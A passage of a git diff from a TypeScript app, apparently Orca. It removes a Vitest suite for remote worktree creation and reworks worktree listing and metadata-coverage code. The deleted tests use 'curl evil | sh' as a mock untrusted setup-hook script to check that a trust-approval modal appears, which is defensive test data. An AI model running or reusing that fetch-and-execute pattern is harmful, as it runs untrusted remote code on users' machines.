   result: CreatedWorktreeResult
diff --git a/src/renderer/src/store/slices/worktrees/create/worktrees-remote-runtime-create.test.ts b/src/renderer/src/store/slices/worktrees/create/worktrees-remote-runtime-create.test.ts
deleted file mode 100644
index 0121b5e9dff..00000000000
--- a/src/renderer/src/store/slices/worktrees/create/worktrees-remote-runtime-create.test.ts
+++ /dev/null
@@ -1,490 +0,0 @@
-import { setLocalRuntimeCapabilitiesForTests } from '../../../../runtime/hosts/capabilities/local-runtime-capabilities'
-import { toast } from 'sonner'
-import type { ExecutionHostId } from '../../../../../../shared/execution-host'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { AppState } from '../../../types'
-import {
-  createCompatibleRuntimeStatusResponse,
-  type RuntimeEnvironmentCallRequest
-} from '../../../../runtime/rpc/testing/runtime-compatibility-test-fixture'
-import { TEST_REPO } from '../../../repos/repo.test-fixture'
-import { makeWorktree } from '../worktree.test-fixture'
-import {
-  createTestStore,
-  mockApi,
-  resetRemoteRuntimeMocks,
-  resetWorktreeSliceModuleMemory,
-  runtimeEnvironmentCall,
-  runtimeEnvironmentTransportCall
-} from '../worktrees-slice-test-harness'
-
-const requestWorktreeBaseFallbackNotice = vi.hoisted(() => vi.fn())
-
-vi.mock('sonner', () => ({
-  toast: {
-    warning: vi.fn(),
-    info: vi.fn(),
-    success: vi.fn(),
-    error: vi.fn(),
-    dismiss: vi.fn()
-  }
-}))
-
-vi.mock('@/components/worktree-base-fallback-notice', () => ({
-  requestWorktreeBaseFallbackNotice
-}))
-
-beforeEach(resetWorktreeSliceModuleMemory)
-
-describe('worktree remote runtime mutations', () => {
-  it('refuses strict reuse before mutation on unsupported owner', async () => {
-    const status = createCompatibleRuntimeStatusResponse('runtime-remote')
-    if (status.ok) {
-      status.result.capabilities = status.result.capabilities?.filter(
-        (cap) => cap !== 'worktree.open-existing-branch.v2-request.v1'
-      )
-    }
-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) =>
-      args.method === 'status.get' ? status : runtimeEnvironmentCall(args)
-    )
-    const store = createRepoTestStore()
-    seedRepoHost(store, 'runtime:env-1')
-    const create = store.getState().createWorktree
-    const args: Parameters<typeof create> = ['repo1', 'feature/test', 'origin/main', 'skip']
-    args[12] = 'feature/test'
-    args[25] = { branchIntent: 'open-existing-v2' }
-    runtimeEnvironmentCall.mockRejectedValueOnce(new Error('Branch already has PR #42'))
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'create',
-      ok: true,
-      result: {
-        worktree: makeWorktree({
-          id: 'repo1::/path/feature-test-2',
-          repoId: 'repo1',
-          path: '/path/feature-test-2'
-        })
-      }
-    })
-
-    await expect(create(...args)).rejects.toThrow('Update Orca on the workspace host')
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-  })
-
-  it('surfaces strict reuse conflict without suffix retry on capable owner', async () => {
-    const status = createCompatibleRuntimeStatusResponse('runtime-remote')
-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) =>
-      args.method === 'status.get' ? status : runtimeEnvironmentCall(args)
-    )
-    const store = createRepoTestStore()
-    seedRepoHost(store, 'runtime:env-1')
-    const create = store.getState().createWorktree
-    const args: Parameters<typeof create> = ['repo1', 'feature/test', 'origin/main', 'skip']
-    args[12] = 'feature/test'
-    args[25] = { branchIntent: 'open-existing-v2' }
-    runtimeEnvironmentCall.mockRejectedValueOnce(new Error('Branch already has PR #42'))
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'create',
-      ok: true,
-      result: {
-        worktree: makeWorktree({
-          id: 'repo1::/path/feature-test-2',
-          repoId: 'repo1',
-          path: '/path/feature-test-2'
-        })
-      }
-    })
-
-    await expect(create(...args)).rejects.toThrow('Branch already has PR #42')
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'env-1',
-        method: 'worktree.create',
-        params: expect.objectContaining({
-          branchIntent: 'open-existing-v2',
-          branchNameOverride: 'feature/test'
-        })
-      })
-    )
-    expect(runtimeEnvironmentCall).toHaveBeenCalledTimes(1)
-  })
-
-  it('sends picker intent through the capable local host without suffixing a Git failure', async () => {
-    setLocalRuntimeCapabilitiesForTests(['worktree.open-existing-branch.v2-request.v1'])
-    try {
-      const store = createRepoTestStore()
-      const create = store.getState().createWorktree
-      const args: Parameters<typeof create> = ['repo1', 'feature/test', 'origin/main', 'skip']
-      args[12] = 'feature/test'
-      args[25] = { branchIntent: 'open-existing-v2' }
-      mockApi.worktrees.create.mockRejectedValueOnce(new Error('Branch already exists locally'))
-      await expect(create(...args)).rejects.toThrow('Branch already exists locally')
-      expect(mockApi.worktrees.create).toHaveBeenCalledTimes(1)
-      expect(mockApi.worktrees.create).toHaveBeenCalledWith(
-        expect.objectContaining({
-          branchIntent: 'open-existing-v2',
-          branchNameOverride: 'feature/test'
-        })
-      )
-    } finally {
-      setLocalRuntimeCapabilitiesForTests(null)
-    }
-  })
-
-  it('allows create-new on a host that advertises the previous V2 capability', async () => {
-    setLocalRuntimeCapabilitiesForTests(['worktree.open-existing-branch.v2'])
-    try {
-      const store = createRepoTestStore()
-      const create = store.getState().createWorktree
-      const args: Parameters<typeof create> = ['repo1', 'feature', 'origin/main', 'skip']
-      args[25] = { branchIntent: 'create-new' }
-      mockApi.worktrees.create.mockResolvedValue({
-        worktree: makeWorktree({
-          id: 'repo1::/path/feature',
-          repoId: 'repo1',
-          path: '/path/feature'
-        })
-      })
-      await create(...args)
-      expect(mockApi.worktrees.create).toHaveBeenCalledWith(
-        expect.objectContaining({ branchIntent: 'create-new' })
-      )
-    } finally {
-      setLocalRuntimeCapabilitiesForTests(null)
-    }
-  })
-
-  it.each(['open-existing-v2', 'create-new'] as const)(
-    'refuses %s on a V1-only local host before any mutation',
-    async (branchIntent) => {
-      setLocalRuntimeCapabilitiesForTests(['worktree.open-existing-branch.v1'])
-      try {
-        const store = createRepoTestStore()
-        const create = store.getState().createWorktree
-        const args: Parameters<typeof create> = [
-          'repo1',
-          'feature/test',
-          'origin/feature/test',
-          'skip'
-        ]
-        args[12] = 'feature/test'
-        args[25] = { branchIntent }
-        await expect(create(...args)).rejects.toThrow('Update Orca on the workspace host')
-        expect(mockApi.worktrees.create).not.toHaveBeenCalled()
-      } finally {
-        setLocalRuntimeCapabilitiesForTests(null)
-      }
-    }
-  )
-
-  // The shortcut already checked the host; a store await would let the active parent drift.
-  it('sends create-exact without its own capability check and never under another name', async () => {
-    setLocalRuntimeCapabilitiesForTests([])
-    try {
-      const store = createRepoTestStore()
-      const create = store.getState().createWorktree
-      const args: Parameters<typeof create> = ['repo1', 'Login fix', undefined, 'inherit']
-      args[25] = { branchIntent: 'create-exact' }
-      mockApi.worktrees.create.mockRejectedValueOnce(
-        new Error('Branch "Login-fix" already exists locally.')
-      )
-      await expect(create(...args)).rejects.toThrow('already exists locally')
-      expect(mockApi.worktrees.create).toHaveBeenCalledTimes(1)
-      expect(mockApi.worktrees.create).toHaveBeenCalledWith(
-        expect.objectContaining({ name: 'Login fix', branchIntent: 'create-exact' })
-      )
-    } finally {
-      setLocalRuntimeCapabilitiesForTests(null)
-    }
-  })
-
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-  })
-
-  it('creates worktrees through the active remote runtime environment', async () => {
-    const store = createRepoTestStore()
-    const wt = makeWorktree({
-      id: 'repo1::/path/feature',
-      repoId: 'repo1',
-      path: '/path/feature'
-    })
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-create',
-      ok: true,
-      result: { worktree: wt },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    store.setState({
-      settings: {
-        ...store.getState().settings!,
-        activeRuntimeEnvironmentId: 'env-1',
-        nestWorkspaces: false,
-        refreshLocalBaseRefOnWorktreeCreate: true,
-        localBaseRefSuggestionDismissed: false
-      },
-      worktreesByRepo: { repo1: [] }
-    })
-    seedRepoHost(store, 'runtime:env-1')
-
-    const result = await store
-      .getState()
-      .createWorktree(
-        'repo1',
-        'feature',
-        'origin/main',
-        'skip',
-        { directories: ['src'], presetId: 'preset-1' },
-        'sidebar',
-        'Feature title',
-        123,
-        456,
-        { remoteName: 'fork', branchName: 'feature' }
-      )
-
-    expect(result).toEqual({ worktree: wt })
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'worktree.create',
-      params: {
-        repo: 'repo1',
-        name: 'feature',
-        baseBranch: 'origin/main',
-        setupDecision: 'skip',
-        sparseCheckout: { directories: ['src'], presetId: 'preset-1' },
-        nestWorkspaces: false,
-        refreshLocalBaseRefOnWorktreeCreate: true,
-        localBaseRefSuggestionDismissed: false,
-        telemetrySource: 'sidebar',
-        displayName: 'Feature title',
-        linkedIssue: 123,
-        linkedPR: 456,
-        pushTarget: { remoteName: 'fork', branchName: 'feature' }
-      },
-      timeoutMs: 10 * 60_000
-    })
-    expect(mockApi.worktrees.create).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo.repo1).toEqual([
-      {
-        ...wt,
-        hostId: 'runtime:env-1',
-        runtimeOwnerEnvironmentId: 'env-1'
-      }
-    ])
-  })
-
-  it('blocks Jira linking when the paired runtime lacks durable metadata capability', async () => {
-    const oldRuntimeStatus = createCompatibleRuntimeStatusResponse('runtime-old')
-    if (oldRuntimeStatus.ok) {
-      oldRuntimeStatus.result.capabilities = oldRuntimeStatus.result.capabilities?.filter(
-        (capability) => capability !== 'worktree.linked-work-item-context.v1'
-      )
-    }
-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) =>
-      args.method === 'status.get' ? oldRuntimeStatus : runtimeEnvironmentCall(args)
-    )
-    const store = createRepoTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: { repo1: [] }
-    } as Partial<AppState>)
-    seedRepoHost(store, 'runtime:env-1')
-    const createWorktree = store.getState().createWorktree
-    const args: Parameters<typeof createWorktree> = ['repo1', 'jira-link']
-    args[25] = {
-      linkedWorkItem: {
-        provider: 'jira',
-        type: 'issue',
-        number: 0,
-        title: 'ORCA-123 Link Jira',
-        url: 'https://company.atlassian.net/browse/ORCA-123',
-        jiraIdentifier: 'ORCA-123'
-      }
-    }
-
-    await expect(createWorktree(...args)).rejects.toThrow('Update the remote runtime to link Jira')
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-  })
-
-  it('retries a suffixed branchNameOverride when runtime create reports a branch conflict', async () => {
-    const store = createRepoTestStore()
-    const wt = makeWorktree({
-      id: 'repo1::/path/feature-something-2',
-      repoId: 'repo1',
-      path: '/path/feature-something-2',
-      branch: 'feature/something-2'
-    })
-    runtimeEnvironmentCall.mockRejectedValueOnce(new Error('Branch already exists on a remote'))
-    runtimeEnvironmentCall.mockResolvedValueOnce({
-      id: 'rpc-create',
-      ok: true,
-      result: { worktree: wt },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: { repo1: [] }
-    } as Partial<AppState>)
-    seedRepoHost(store, 'runtime:env-1')
-
-    await store
-      .getState()
-      .createWorktree(
-        'repo1',
-        'feature/something',
-        'origin/main',
-        'skip',
-        undefined,
-        undefined,
-        undefined,
-        undefined,
-        undefined,
-        undefined,
-        undefined,
-        undefined,
-        'feature/something'
-      )
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledTimes(2)
-    expect(runtimeEnvironmentCall).toHaveBeenNthCalledWith(
-      1,
-      expect.objectContaining({
-        params: expect.objectContaining({
-          name: 'feature/something',
-          branchNameOverride: 'feature/something'
-        })
-      })
-    )
-    expect(runtimeEnvironmentCall).toHaveBeenNthCalledWith(
-      2,
-      expect.objectContaining({
-        params: expect.objectContaining({
-          name: 'feature/something-2',
-          branchNameOverride: 'feature/something-2'
-        })
-      })
-    )
-  })
-
-  it('forwards the approved setup hash and runs the changed branch setup once approved', async () => {
-    const store = createRepoTestStore()
-    const openModal = vi.fn()
-    store.setState({ openModal })
-    mockApi.worktrees.create.mockResolvedValue({
-      worktree: makeWorktree({
-        id: 'repo1::/path/feature',
-        repoId: 'repo1',
-        path: '/path/feature'
-      }),
-      setupTrustMismatch: { contentHash: 'branch-hash', scriptContent: 'curl evil | sh' }
-    })
-    const create = store.getState().createWorktree
-    const args: Parameters<typeof create> = ['repo1', 'feature', 'origin/main', 'run']
-    args[25] = { approvedSetupHash: 'primary-hash' }
-
-    await create(...args)
-
-    expect(mockApi.worktrees.create).toHaveBeenCalledWith(
-      expect.objectContaining({ setupDecision: 'run', approvedSetupHash: 'primary-hash' })
-    )
-    await vi.waitFor(() => expect(openModal).toHaveBeenCalledOnce())
-    expect(openModal).toHaveBeenCalledWith(
-      'confirm-orca-yaml-hooks',
-      expect.objectContaining({
-        repoId: 'repo1',
-        scriptKind: 'setup',
-        scriptContent: 'curl evil | sh'
-      })
-    )
-    mockApi.worktrees.runApprovedSetup.mockResolvedValue({ status: 'started' })
-    openModal.mock.calls[0][1].onResolve('run')
-
-    await vi.waitFor(() =>
-      expect(mockApi.worktrees.runApprovedSetup).toHaveBeenCalledWith({
-        worktreeId: 'repo1::/path/feature',
-        approvedSetupHash: '54779f601e7b13ffead7978d54eca927c88c7cd6129632110eb6b9a65ddd5deb'
-      })
-    )
-  })
-
-  it('keeps the workspace when setup is declined and offers the review again from the toast', async () => {
-    const store = createRepoTestStore()
-    const openModal = vi.fn()
-    store.setState({ openModal })
-    mockApi.worktrees.create.mockResolvedValue({
-      worktree: makeWorktree({ id: 'repo1::/path/kept', repoId: 'repo1', path: '/path/kept' }),
-      setupTrustMismatch: { contentHash: 'branch-hash', scriptContent: 'pnpm build' }
-    })
-
-    const result = await store.getState().createWorktree('repo1', 'kept', 'origin/main', 'run')
-    expect(result.worktree.id).toBe('repo1::/path/kept')
-    await vi.waitFor(() => expect(openModal).toHaveBeenCalledOnce())
-    openModal.mock.calls[0][1].onResolve('skip')
-
-    await vi.waitFor(() => expect(vi.mocked(toast.warning)).toHaveBeenCalled())
-    const [, options] = vi.mocked(toast.warning).mock.calls.at(-1) ?? []
-    expect(mockApi.worktrees.runApprovedSetup).not.toHaveBeenCalled()
-
-    mockApi.worktrees.runApprovedSetup.mockResolvedValue({ status: 'started' })
-    const toastOptions: unknown = options
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: invokes the captured toast action.
-    const { action } = toastOptions as { action: { onClick: () => void } }
-    action.onClick()
-    await vi.waitFor(() => expect(openModal).toHaveBeenCalledTimes(2))
-    expect(openModal).toHaveBeenLastCalledWith(
-      'confirm-orca-yaml-hooks',
-      expect.objectContaining({ scriptContent: 'pnpm build' })
-    )
-    openModal.mock.calls[1][1].onResolve('run')
-    await vi.waitFor(() =>
-      expect(mockApi.worktrees.runApprovedSetup).toHaveBeenCalledWith({
-        worktreeId: 'repo1::/path/kept',
-        approvedSetupHash: '702e948d947e109310cb2bf19c157b5bb8142b88c87e02ae87a7594c9b797893'
-      })
-    )
-  })
-
-  it('keeps setup skipped on a host that predates running approved setup', async () => {
-    const status = createCompatibleRuntimeStatusResponse('runtime-remote')
-    if (status.ok) {
-      status.result.capabilities = status.result.capabilities?.filter(
-        (cap) => cap !== 'worktree.run-approved-setup.v1'
-      )
-    }
-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) =>
-      args.method === 'status.get' ? status : runtimeEnvironmentCall(args)
-    )
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'create',
-      ok: true,
-      result: {
-        worktree: makeWorktree({ id: 'repo1::/path/f', repoId: 'repo1', path: '/path/f' }),
-        setupTrustMismatch: { contentHash: 'branch-hash', scriptContent: 'curl evil | sh' }
-      }
-    })
-    const store = createRepoTestStore()
-    seedRepoHost(store, 'runtime:env-1')
-    const openModal = vi.fn()
-    store.setState({ openModal })
-
-    await store.getState().createWorktree('repo1', 'f', 'origin/main', 'run')
-    await vi.waitFor(() => expect(openModal).toHaveBeenCalledOnce())
-    openModal.mock.calls[0][1].onResolve('run')
-
-    await vi.waitFor(() => expect(vi.mocked(toast.warning)).toHaveBeenCalled())
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'worktree.runApprovedSetup' })
-    )
-  })
-})
-
-// Creation routes by the project row's own host, so every test seeds that row.
-function seedRepoHost(store: ReturnType<typeof createTestStore>, hostId: ExecutionHostId): void {
-  store.setState({ repos: [{ ...TEST_REPO, executionHostId: hostId }] })
-}
-
-function createRepoTestStore(): ReturnType<typeof createTestStore> {
-  const store = createTestStore()
-  seedRepoHost(store, 'local')
-  return store
-}
diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh-leases.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh-leases.ts
index e24c501bd51..ea21280af48 100644
--- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh-leases.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh-leases.ts
@@ -56,7 +56,8 @@ type ProviderInvocation = {
 export type DetectedWorktreeRefreshLeaseRegistry = {
   acquire(
     publicKey: string,
-    input: DetectedWorktreeRefreshProviderInput
+    input: DetectedWorktreeRefreshProviderInput,
+    fresh?: boolean
   ): DetectedWorktreeRefreshLease
   getActiveCounts(): { providerInvocations: number; waiterLeases: number }
 }
@@ -198,15 +199,19 @@ export function createDetectedWorktreeRefreshLeaseRegistry(
 
   const acquire = (
     publicKey: string,
-    input: DetectedWorktreeRefreshProviderInput
+    input: DetectedWorktreeRefreshProviderInput,
+    // A fresh listing must not join one that may have read metadata before a newer write.
+    fresh = false
   ): DetectedWorktreeRefreshLease => {
-    const invocation =
-      [...(invocationsByPublicKey.get(publicKey) ?? [])].find(
-        (candidate) =>
-          !candidate.settled &&
-          !candidate.cancelAttempted &&
-          requestsAreCompatible(candidate.request, input)
-      ) ?? startInvocation(publicKey, input)
+    const joinable = fresh
+      ? undefined
+      : [...(invocationsByPublicKey.get(publicKey) ?? [])].find(
+          (candidate) =>
+            !candidate.settled &&
+            !candidate.cancelAttempted &&
+            requestsAreCompatible(candidate.request, input)
+        )
+    const invocation = joinable ?? startInvocation(publicKey, input)
     const waiterLeaseId = mintWaiterLeaseId()
     let resolveResult!: (result: HostQualifiedDetectedWorktreeResult) => void
     let rejectResult!: (error: unknown) => void
diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh.ts
index dc85da6755b..2987e36a5bd 100644
--- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh.ts
@@ -61,10 +61,11 @@ export function acquireDetectedWorktreeRefreshLeaseForRepo(
   }
   const publicKey = detectedWorktreeRefreshKey(repoId, options)
   if (parsedHost.kind === 'local') {
-    return detectedWorktreeRefreshLeaseRegistry.acquire(publicKey, {
-      repoId,
-      executionHostId: LOCAL_EXECUTION_HOST_ID
-    })
+    return detectedWorktreeRefreshLeaseRegistry.acquire(
+      publicKey,
+      { repoId, executionHostId: LOCAL_EXECUTION_HOST_ID },
+      options.forceFresh
+    )
   }
   if (
     !options.directSshAuthority ||
@@ -72,11 +73,15 @@ export function acquireDetectedWorktreeRefreshLeaseForRepo(
   ) {
     throw new Error('Direct SSH provider leases require exact target authority')
   }
-  return detectedWorktreeRefreshLeaseRegistry.acquire(publicKey, {
-    repoId,
-    executionHostId: options.executionHostId as SshExecutionHostId,
-    expectedAuthority: { ...options.directSshAuthority }
-  })
+  return detectedWorktreeRefreshLeaseRegistry.acquire(
+    publicKey,
+    {
+      repoId,
+      executionHostId: options.executionHostId as SshExecutionHostId,
+      expectedAuthority: { ...options.directSshAuthority }
+    },
+    options.forceFresh
+  )
 }
 
 export function qualifiedProviderResultIsAdmitted(
@@ -148,7 +153,7 @@ async function listDetectedWorktreesForRuntimeRepoOnce(
   const key = detectedWorktreeRefreshKey(repoId, options)
   const connectionGeneration = getEnvironmentSshStateGeneration(environmentId)
   const runtimeConnectionGeneration = getRuntimeEnvironmentConnectionGeneration(environmentId)
-  let refresh = runtimeDetectedWorktreeRefreshesInFlight.get(key)
+  let refresh = options.forceFresh ? undefined : runtimeDetectedWorktreeRefreshesInFlight.get(key)
   if (!refresh) {
     refresh = listDetectedWorktreesForRepo({ kind: 'environment', environmentId }, repoId, {
       reuseRecentCompatibilityFailure: options.reuseRecentCompatibilityFailure
diff --git a/src/renderer/src/store/slices/worktrees/listing/fetch-all-worktrees.ts b/src/renderer/src/store/slices/worktrees/listing/fetch-all-worktrees.ts
index ac72a2588c0..bbe2405acac 100644
--- a/src/renderer/src/store/slices/worktrees/listing/fetch-all-worktrees.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/fetch-all-worktrees.ts
@@ -13,6 +13,7 @@ import {
 } from './worktree-host-ownership'
 import { fetchKnownSshWorktreesForRepo } from './known-ssh-worktree-fetch'
 import { mergeFetchedWorktrees } from './fetched-worktree-merge'
+import { listingMetadataCoverage } from './workspace-metadata-coverage'
 import { notifyRuntimeScopeForbiddenIfNeeded } from './runtime-scope-forbidden-toast'
 import { mapReposForWorktreeRefresh } from './worktree-refresh-pool'
 import { selectWorktreesByRepo } from '../../../workspaces/catalog/workspace-record-fields'
@@ -64,15 +65,19 @@ export function createFetchAllWorktrees(
           if (refresh.status !== 'admitted') {
             return failed
           }
+          const metadata = listingMetadataCoverage(get(), repo.id, hostId, refresh)
           const outcome = mergeFetchedWorktrees(set, get, {
             repoId: repo.id,
             hostId,
             ownerWasMissingAtStart: false,
             requestStartedWorktrees,
             setup,
-            refresh,
+            refresh: metadata.refresh,
             purgeRemovedWorktrees
           })
+          if (outcome === 'applied') {
+            metadata.settle((id, fetchOptions) => get().fetchWorktrees(id, fetchOptions))
+          }
           return outcome === 'applied' ? { repoId: repo.id, hostId, refresh } : failed
         } catch (err) {
           if (!notifyRuntimeScopeForbiddenIfNeeded(err)) {
diff --git a/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts b/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts
index 6c42355d76d..4761ad69ff3 100644
--- a/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts
@@ -20,6 +20,7 @@ import {
 } from './worktree-host-ownership'
 import { fetchKnownSshWorktreesForRepo } from './known-ssh-worktree-fetch'
 import { mergeFetchedWorktrees } from './fetched-worktree-merge'
+import { listingMetadataCoverage } from './workspace-metadata-coverage'
 import { notifyRuntimeScopeForbiddenIfNeeded } from './runtime-scope-forbidden-toast'
 import { refreshRemoteWorktreeLineageBestEffort } from '../metadata/worktree-lineage-refresh'
 import { selectWorktreesByRepo } from '../../../workspaces/catalog/workspace-record-fields'
@@ -87,7 +88,8 @@ export function createFetchWorktrees(
         connectionId: repoOwner?.connectionId,
         knownWorktreeIds: getKnownWorktreeIdsForPurge(ownerState, repoId, hostId),
         isStaleCatalogPublication: (result) =>
-          isStaleWorktreeCatalogPublication(get(), repoId, hostId, result.catalogVersion)
+          isStaleWorktreeCatalogPublication(get(), repoId, hostId, result.catalogVersion),
+        ...(options?.forceFresh ? { forceFresh: true } : {})
       })
       if (refresh.status !== 'admitted') {
         return directCallerAuthority ? refresh.providerResult : false
@@ -95,6 +97,7 @@ export function createFetchWorktrees(
       if (options?.requireAuthoritative && !refresh.result.authoritative) {
         return directCallerAuthority ? (refresh.providerResult ?? false) : false
       }
+      const metadata = listingMetadataCoverage(get(), repoId, hostId, refresh)
       const outcome = mergeFetchedWorktrees(set, get, {
         repoId,
         hostId,
@@ -105,8 +108,11 @@ export function createFetchWorktrees(
             : undefined,
         requestStartedWorktrees,
         setup,
-        refresh
+        refresh: metadata.refresh
       })
+      if (outcome === 'applied') {
+        metadata.settle((id, fetchOptions) => get().fetchWorktrees(id, fetchOptions))
+      }
       switch (outcome) {
         case 'applied':
           break
diff --git a/src/renderer/src/store/slices/worktrees/listing/fetched-worktree-merge.ts b/src/renderer/src/store/slices/worktrees/listing/fetched-worktree-merge.ts
index bcaaa940ae5..3f471153840 100644
--- a/src/renderer/src/store/slices/worktrees/listing/fetched-worktree-merge.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/fetched-worktree-merge.ts
@@ -1,3 +1,4 @@
+import { captureWorkspaceTerminalNoticeRemoval } from '../../../terminals/terminal-notice-removal'
 import type { StateCreator } from 'zustand'
 import { appliedWorktreeCatalogVersionPatch } from './worktree-catalog-version-state'
 import type { AppState } from '../../../types'
@@ -141,18 +142,23 @@ export function mergeFetchedWorktrees(
   get: () => AppState,
   args: FencedWorktreeMergeArgs
 ): WorktreeListingMergeOutcome {
+  let retireNotices: ((after: AppState) => void) | undefined
   if (args.purgeRemovedWorktrees !== false) {
     // Why before the updater: delayed views must commit text the purge may offer back.
     const state = get()
+    const removedIds = getRemovedWorktreeIdsAfterAuthoritativeScan(
+      state,
+      args.repoId,
+      args.refresh.result,
+      args.hostId
+    )
     flushPurgedWorkspaceEdits(
       state,
-      getRemovedWorktreeIdsAfterAuthoritativeScan(
-        state,
-        args.repoId,
-        args.refresh.result,
-        args.hostId
-      ).map((id) => hostWorktreeTarget({ id, hostId: args.hostId }))
+      removedIds.map((id) => hostWorktreeTarget({ id, hostId: args.hostId }))
     )
+    if (removedIds.length > 0) {
+      retireNotices = captureWorkspaceTerminalNoticeRemoval(state, removedIds)
+    }
   }
   // Why a holder: the updater decides the outcome, and a narrowed `let` would hide that assignment.
   const decision: { outcome: WorktreeListingMergeOutcome } = { outcome: 'not-current' }
@@ -295,6 +301,7 @@ export function mergeFetchedWorktrees(
     }
   })
   if (decision.outcome === 'applied') {
+    retireNotices?.(get())
     // Why: applied outside the updater so a repeated updater call cannot double-apply the removal memory.
     forgetAuthoritativelyRemovedWorktrees(args.hostId, authoritativelySeenIds)
     rememberAuthoritativelyRemovedWorktrees(args.hostId, authoritativelyRemovedIds)
diff --git a/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-coverage.ts b/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-coverage.ts
new file mode 100644
index 00000000000..f43e4b932b6
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-coverage.ts
@@ -0,0 +1,235 @@
+import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import type { WorkspaceMetadataCursor } from '../../../../../../shared/worktree/workspace-metadata-set'
+import { getWorkspaceAttachments } from '../../../../../../shared/workspace-attachments/workspace-attachments'
+import { getWorkspaceReferenceIdentity } from '../../../../../../shared/workspace-attachments/workspace-reference-identity'
+import {
+  getRuntimeEnvironmentRevision,
+  onRuntimeEnvironmentsRetired
+} from '../../../../runtime/rpc/environment-revisions/runtime-environment-revision'
+import { getRuntimeEnvironmentConnectionGeneration } from '../../runtime-status/runtime-status-connection-generation'
+import type { AppState } from '../../../types'
+import { selectWorktreesByRepo } from '../../../workspaces/catalog/workspace-record-fields'
+import { worktreeHostMatchOptions, worktreeMatchesHost } from './worktree-host-ownership'
+import type { AdmittedDetectedWorktreeRefresh } from './worktree-slice-types'
+import type { WorktreeFetchOptions } from './worktree-fetch-options'
+import { requestWorkspaceMetadataRecovery } from './workspace-metadata-recovery'
+
+// One producer's workspaceMetadata stream as this client has seen it: the last record seq, and per listed
+// projection (repo on a host) the newest record that touched it.
+type Projection = { repoId: string; hostId: ExecutionHostId; latest: number }
+type ProducerCoverage = { epoch: string; lastSeq: number; projections: Map<string, Projection> }
+
+const producers = new Map<string, ProducerCoverage>()
+
+// Encoded: environment ids (WSL ones) may contain ':', which would let one id prefix another's keys.
+const environmentKeyPrefix = (environmentId: string): string =>
+  `env:${encodeURIComponent(environmentId)}:`
+
+function dropEnvironmentProducers(environmentId: string, except?: string): void {
+  for (const key of producers.keys()) {
+    if (key !== except && key.startsWith(environmentKeyPrefix(environmentId))) {
+      producers.delete(key)
+    }
+  }
+}
+
+// A removed or re-pointed environment's stream ends with it.
+onRuntimeEnvironmentsRetired((environmentIds) => {
+  for (const environmentId of environmentIds) {
+    dropEnvironmentProducers(environmentId)
+  }
+})
+
+const projectionKey = (repoId: string, hostId: ExecutionHostId): string =>
+  `${hostId}\u0000${repoId}`
+
+/**
+ * The producer whose cursor a host's listings and records share: this app's own main for local and
+ * SSH rows, or a paired environment for its rows, keyed by that pairing and connection.
+ */
+export function workspaceMetadataProducerKey(hostId: ExecutionHostId): string {
+  const parsed = parseExecutionHostId(hostId)
+  if (parsed?.kind !== 'runtime') {
+    return 'local'
+  }
+  const environmentId = parsed.environmentId
+  return `${environmentKeyPrefix(environmentId)}${getRuntimeEnvironmentRevision(environmentId) ?? ''}:${getRuntimeEnvironmentConnectionGeneration(environmentId)}`
+}
+
+function producerFor(key: string, epoch: string, hostId: ExecutionHostId): ProducerCoverage {
+  const current = producers.get(key)
+  if (current?.epoch === epoch) {
+    return current
+  }
+  // A new epoch is a restarted producer: what it lists already includes its earlier writes.
+  const fresh = { epoch, lastSeq: 0, projections: new Map<string, Projection>() }
+  const parsed = parseExecutionHostId(hostId)
+  if (parsed?.kind === 'runtime') {
+    // A reconnected environment is a new producer; its earlier bookkeeping dies here.
+    dropEnvironmentProducers(parsed.environmentId, key)
+  }
+  producers.set(key, fresh)
+  return fresh
+}
+
+/**
+ * Notes a record before it is applied. `replayed` records are dropped; a `gap` means some earlier
+ * record was missed and its projection is unknown, so every projection of this producer needs a
